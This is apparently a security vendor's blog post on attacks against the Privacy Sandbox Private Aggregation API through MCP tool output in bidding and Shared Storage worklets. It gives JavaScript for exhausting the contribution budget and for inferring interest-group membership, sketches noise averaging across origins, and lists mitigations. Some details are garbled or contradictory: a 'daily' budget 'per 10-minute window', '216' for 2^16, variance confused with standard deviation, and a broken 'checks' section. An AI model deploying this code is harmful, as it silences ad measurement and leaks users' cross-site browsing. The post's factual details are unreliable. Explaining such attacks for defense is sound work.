MCP Server Security · Private Aggregation API · Privacy Sandbox · Contribution Budget Exhaustion · Histogram Inference · Laplace Noise · Protected Audience · Shared Storage
MCP server Private Aggregation API security
The Privacy Sandbox Private Aggregation API lets Protected Audience bidding/scoring worklets and Shared Storage worklets submit encrypted histogram contributions to the Aggregation Service. MCP tool output that executes inside these worklets can exhaust the per-origin contribution budget to silence legitimate ad-measurement reports, probe user interest group membership by observing which aggregation buckets produce above-noise signals, and flood the aggregation service with calibrated contributions to shift Laplace noise distributions and reveal underlying histogram values.
Private Aggregation API surface
// Private Aggregation API — Chrome 107+ (Privacy Sandbox)
// Available ONLY inside Protected Audience worklets and Shared Storage worklets
// Permissions-Policy: private-aggregation=() blocks in cross-origin iframes
// Inside a Protected Audience bidding worklet (generateBid function):
function generateBid(interestGroup, auctionSignals, perBuyerSignals, trustedBiddingSignals, browserSignals) {
// Contribute to histogram bucket with a value
privateAggregation.contributeToHistogram({
bucket: 42n, // BigInt key, range 0 to 2^128 - 1
value: 100 // Integer, range 0 to 65536 (= 2^16, the L1 budget)
});
// Event-conditional contribution — fires on win or loss
privateAggregation.contributeToHistogramOnEvent('win', {
bucket: 200n,
value: 50
});
return { bid: 1.5, render: interestGroup.ads[0].renderURL };
}
// Inside a Shared Storage worklet (addModule + run):
class ReportOperation {
async run(data) {
const tier = await sharedStorage.get('user-tier');
privateAggregation.contributeToHistogram({
bucket: tier === 'premium' ? 1n : 0n,
value: 1
});
}
}
register('report-operation', ReportOperation);
Budget constraint: each reporting origin has a daily L1 contribution budget of 216 (65,536) per 10-minute reporting window. A single contributeToHistogram({ bucket: X, value: 65536 }) call exhausts the entire window budget, causing all subsequent contributions from that origin to be silently dropped for the remaining window.
Attack 1 — contribution budget exhaustion
Every reporting origin is allocated a contribution budget (L1 sensitivity) that limits the total value contributed across all histogram buckets within a rolling time window. The browser enforces this budget client-side and silently drops any contribution that would exceed it. A malicious MCP tool output running in a Protected Audience bidding worklet or Shared Storage operation can exhaust this budget with a single call, preventing all subsequent legitimate measurement contributions for the rest of the reporting window.
// Attack: exhaust contribution budget on every auction call
// After this call, the origin's L1 budget is 0 for the current window
// All legitimate contributeToHistogram calls silently return without contributing
function generateBid(interestGroup, auctionSignals, perBuyerSignals, trustedBiddingSignals, browserSignals) {
// Exhaust the entire 65536 L1 budget in a single call
// Legitimate ad measurement for this origin is now silenced for ~10 minutes
privateAggregation.contributeToHistogram({
bucket: 0n,
value: 65536 // = 2^16, maximum single-call contribution value
});
// Any subsequent contributeToHistogram calls in THIS or OTHER worklets
// from the same origin will be silently dropped (budget exceeded)
return { bid: 0 }; // or a real bid — the exhaustion is the attack
}
The impact is a denial-of-service against the publisher's ad measurement pipeline. Legitimate conversion events, reach measurement, and frequency cap signals from the same origin are all silenced for the duration of the window. Because contributions are dropped silently (no error thrown, no console warning), the publisher has no immediate indication that budget exhaustion is occurring — the aggregated reports simply show zero contributions for the affected buckets.
Attack 2 — histogram bucket inference via fill ratio
The Aggregation Service adds Laplace noise to histogram values before releasing results. If the noise scale is calibrated to the L1 budget, a bucket that received a contribution of 1 may be indistinguishable from noise. However, an attacker who contributes to a known sentinel bucket on every auction and then observes whether the final aggregated report shows a signal above the noise floor can determine which user interest groups trigger the bidding worklet. This leaks user browsing history cross-site.
// Attack: probe interest group membership via sentinel bucket signal
// For each user: contribute to sentinel bucket 999n with value 1 on every bid
// Then for each specific interest group, contribute to a distinct test bucket
// Observe final aggregated report: which buckets show above-noise signal?
function generateBid(interestGroup, auctionSignals, perBuyerSignals, trustedBiddingSignals, browserSignals) {
// Baseline sentinel — always fires if this worklet was invoked at all
privateAggregation.contributeToHistogram({ bucket: 999n, value: 1 });
// Probe: which interest group triggered this auction call?
// Each interest group name maps to a distinct bucket
const bucketMap = {
'car-buyers': 1001n,
'premium-shoppers': 1002n,
'travel-intenders': 1003n,
'finance-seekers': 1004n,
};
const bucket = bucketMap[interestGroup.name];
if (bucket) {
privateAggregation.contributeToHistogram({ bucket, value: 1 });
}
// After observing aggregated reports across many users:
// bucket 1001n with signal > noise → users with 'car-buyers' IG exist in cohort
// Reveals cross-site browsing history of the audience
return { bid: 1.5, render: interestGroup.ads[0].renderURL };
}
Attack 3 — noise averaging via multi-origin contribution flooding
The Laplace noise added by the Aggregation Service is i.i.d. per report. An attacker who controls multiple reporting origins can average the noisy outputs across origins for the same logical measurement, reducing the effective noise variance by a factor of √N for N origins. With enough reporting origins (or enough auction events), the attacker can recover underlying histogram bucket values with high confidence, defeating the differential privacy guarantee of the Private Aggregation API.
| Scenario | Noise standard deviation | Required event count to infer bucket value |
|---|---|---|
| Single origin, standard noise | ~1000 (calibrated to L1=65536) | ~10,000+ events |
| 10 attacker origins, averaged | ~316 | ~1,000 events |
| 100 attacker origins, averaged | ~100 | ~100 events |
| Target: bucket value 1 (single user signal) | — | Recoverable with 10,000+ events at single origin |
What SkillAudit checks
interestGroup.name in a bidding worklet; allows cross-site interest group membership inference from final aggregated reports.Browser support and availability
| Browser | Private Aggregation API | Context | Permissions-Policy control |
|---|---|---|---|
| Chrome 107+ | Full (Privacy Sandbox) | Protected Audience + Shared Storage worklets only | private-aggregation=() |
| Edge 107+ | Full (Chromium) | Same as Chrome | private-aggregation=() |
| Firefox | Not supported | — | — |
| Safari | Not supported | — | — |
| Electron | Depends on Chromium version | Available if Privacy Sandbox enabled | — |
Defense and mitigation
| Defense | Effectiveness | Notes |
|---|---|---|
| Permissions-Policy: private-aggregation=() | High (iframe isolation) | Blocks the API in cross-origin iframe contexts; prevents third-party scripts from contributing. Cannot block first-party worklet code. |
| Audit bidding and scoring worklet code before deployment | High | Review all contributeToHistogram calls for budget-exhausting values (65536) and interest-group-keyed bucket assignments before registering worklet URLs. |
| Monitor aggregated reports for unexpected zero-contribution windows | Medium | Budget exhaustion produces silent gaps in report data; alerting on consecutive zero windows can detect ongoing budget DoS attacks. |
| Use minimum necessary contribution values | Medium | Calibrate contribution values to the minimum needed for your measurement accuracy; this maximises the number of legitimate contributions before budget is exhausted. |
| Separate reporting origins per measurement use case | Medium | Isolating measurement types to distinct origins ensures budget exhaustion in one use case does not affect others. |
SkillAudit scans bidding worklet URLs, scoring worklet URLs, and Shared Storage operation scripts registered on your origin for Private Aggregation API misuse patterns. Paste your MCP server or skill repository URL to get a graded report.
Related: Protected Audience API security · Compression Streams deep dive · Shared Storage API security · All security posts